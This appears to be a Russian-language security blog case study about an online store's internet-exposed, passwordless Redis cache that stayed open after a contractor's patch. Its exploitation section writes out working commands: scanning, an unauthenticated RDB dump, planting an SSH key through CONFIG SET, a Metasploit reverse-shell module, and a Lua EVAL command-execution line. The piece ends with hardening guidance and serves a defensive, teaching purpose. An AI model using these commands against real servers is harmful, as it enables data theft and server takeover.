CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Redis без пароля: как «пропатченный» сервер кэша чуть не слил базу интернет-магазина

Подрядчик поставил обновление и отчитался «всё закрыто» — но сервер кэша так и остался доступен из интернета без единого пароля. Разбираем техническую сторону этого кейса: как злоумышленник находит такой Redis, что с ним делает и почему «обновили» не равно «защитили».

Разбор CIOlogia

Повод для аудита был информационный: очередная новость о том, что в Redis нашли уязвимость, разработчики выпустили патч, а через несколько дней исследователи показали, как этот патч обойти. Заказчик — владелец интернет-магазина бытовой техники — забеспокоился и попросил проверить, что происходит с его инфраструктурой. Подрядчик уже отчитался: «обновление накатили, можно спать спокойно». Проверка заняла один вечер и показала, что спать спокойно было рано.

Что оказалось на самом деле

Версия Redis действительно была свежая, уязвимость из новости — закрыта. Но конфигурация самого сервиса оставалась дефолтной в худшем смысле слова: без пароля (requirepass не задан), без ограничения по bind, без файрвола между интернетом и портом 6379. Патч на приложение поставили, а дверь рядом с ним — в буквальном смысле сервер хранения кэша и сессий — так и стояла нараспашку.

Через Redis проходили данные заказов, кэш телефонов и адресов клиентов, остатки товаров и черновики акций — то есть всё, ради чего его вообще подключали для ускорения сайта.

Как это эксплуатируется

Проверка внешнего периметра начинается с обычного скана портов. Ничего экзотического — типовой первый шаг любого пентеста и любой автоматической атаки ботов, которые сканируют весь интернет по 6379 порту.

nmap -sV -p 6379 203.0.113.10

PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 7.2.4

Дальше — попытка подключиться без авторизации. Если сервис отвечает на PING, значит паролем и не пахнет:

redis-cli -h 203.0.113.10 -p 6379
203.0.113.10:6379> PING
PONG
203.0.113.10:6379> INFO server
redis_version:7.2.4
os:Linux 5.15.0-x86_64
tcp_port:6379

Дальше атакующий смотрит, что вообще лежит в базе — обычно достаточно пары команд:

203.0.113.10:6379> KEYS *
1) "session:8a12f..."
2) "cart:user:44231"
3) "cache:promo:winter_sale"
...
203.0.113.10:6379> DBSIZE
(integer) 187423

Это уже само по себе слив: содержимое ключей сессий, корзин и кэша промо-акций можно выгрузить целиком через DUMP/RDB или банальный --rdb дамп:

redis-cli -h 203.0.113.10 -p 6379 --rdb /tmp/dump.rdb
Transfer finished with success.
strings /tmp/dump.rdb | grep -Ei "phone|address|promo"

Но незапароленный Redis интересен не только чтением. Классический вектор — превратить его в точку входа на сам сервер через запись файла на диск. Redis умеет сохранять свою базу (RDB) в произвольную директорию, что при отсутствии аутентификации превращается в примитив записи файла с контролируемым содержимым:

redis-cli -h 203.0.113.10 -p 6379
203.0.113.10:6379> CONFIG SET dir /var/lib/redis/.ssh
203.0.113.10:6379> CONFIG SET dbfilename authorized_keys
203.0.113.10:6379> SET x "\n\nssh-rsa AAAAB3NzaC1yc2E... attacker@kali\n\n"
203.0.113.10:6379> SAVE
OK

Если пользователь, от которого запущен Redis, имеет домашнюю папку с .ssh и права на запись — это готовый бэкдор для входа по ключу. Тот же приём с записью в веб-корень (CONFIG SET dir /var/www/html, файл вида shell.php) даёт веб-шелл напрямую через браузер. Для автоматизации есть модуль Metasploit:

msf6 > use exploit/linux/redis/redis_replication_cmd_exec
msf6 exploit(redis_replication_cmd_exec) > set RHOSTS 203.0.113.10
msf6 exploit(redis_replication_cmd_exec) > run

[*] Started reverse TCP handler
[*] Sending stage
[*] Command shell session 1 opened

Отдельный класс атак — через модули (MODULE LOAD) и через уязвимости самого Lua-скриптинга (EVAL), которые периодически всплывают в CVE: например, побег из Lua-песочницы в интерпретаторе Redis (issues уровня CVE-2022-0543, CVE-2024-31449) позволяет выполнить произвольный код в контексте процесса Redis без записи файлов вообще — просто через один скрипт:

203.0.113.10:6379> EVAL "local f = loadstring('os.execute(\"id\")'); f()" 0

Именно про такой класс уязвимостей и была исходная новость: разработчики закрыли одну дыру в песочнице, а исследователи почти сразу нашли обход патча. Но в данном кейсе даже это было избыточно — не было пароля, а значит не нужен был ни эксплойт, ни CVE, ни песочница. Достаточно было знать IP и порт.

Что и почему сработало бы

  • Прямой слив данных. Команда KEYS * и выгрузка RDB дают злоумышленнику весь кэш: сессии авторизованных пользователей, содержимое корзин, телефоны и адреса, если они кэшировались вместе с заказом.
  • Захват сессий. Если в Redis хранились session-токены сайта, их можно скопировать и подставить в свой браузер — получить доступ к личному кабинету клиента или даже к админке, если её сессии шли через тот же Redis.
  • Разведка перед конкурентной атакой. Ключи вида cache:promo:* и stock:* раскрывают готовящиеся акции и остатки товара за день-два до публикации — именно тот сценарий, о котором говорил заказчик применительно к потере выручки.
  • Эскалация до RCE. Запись SSH-ключа или веб-шелла через CONFIG SET dir/dbfilename + SAVE превращает утечку данных в полный контроль над сервером — с этой точки атака идёт дальше: к базе данных сайта, к панели администратора, к бэкапам.
  • Использование в качестве плацдарма. Скомпрометированный Redis-хост часто становится узлом для сканирования внутренней сети компании — если сервер находится в той же VLAN, что и БД или файловое хранилище.

Как закрыть

Ничего из перечисленного не требует сложных инструментов защиты — это базовая гигиена конфигурации, которую подрядчики массово пропускают, потому что «обновление же поставили».

  • Закрыть порт наружу. Redis не должен быть виден из интернета в принципе — доступ только из локальной сети приложения:
    # /etc/redis/redis.conf
    bind 127.0.0.1 10.0.0.5
    protected-mode yes
  • Включить аутентификацию.
    requirepass Sxxxxxxxxxxxxxxxxxxxxxxx_long_random
    # для Redis 6+ — ACL с ограниченными правами вместо одного суперпароля
    ACL SETUSER app_readonly on >pass123 ~cache:* +get +exists -@all
  • Отключить опасные команды на проде.
    rename-command CONFIG ""
    rename-command FLUSHALL ""
    rename-command FLUSHDB ""
    rename-command MODULE ""
    rename-command EVAL ""
  • Файрвол на уровне ОС как второй рубеж, если приложение по каким-то причинам должно ходить к Redis не с localhost:
    ufw allow from 10.0.0.0/24 to any port 6379
    ufw deny 6379
  • Мониторинг попыток подключения. Логировать и алертить на неавторизованные AUTH-фейлы и подключения с внешних IP, отправлять уведомление в мессенджер ответственному лицу.
  • Регулярные бэкапы в отдельное хранилище, не доступное с того же сервера напрямую — чтобы утечка или шифровальщик не унесли и резервные копии тоже.
  • Регламент для подрядчика. Разделить в договоре и в чек-листе два разных пункта: «установка обновлений безопасности» и «проверка конфигурации доступа». Второе не следует автоматически из первого, и именно это разделение стоило заказчику одного вечера работы вместо потенциального штрафа за утечку персональных данных 40 000 клиентов и упущенной выручки от слитой конкурентам акции.
Патч закрывает конкретную уязвимость в коде программы. Он не проверяет, есть ли пароль на входе и кто вообще может достучаться до сервиса снаружи. Это две разные задачи, и обе нужно выполнять руками, а не по факту «обновление стоит».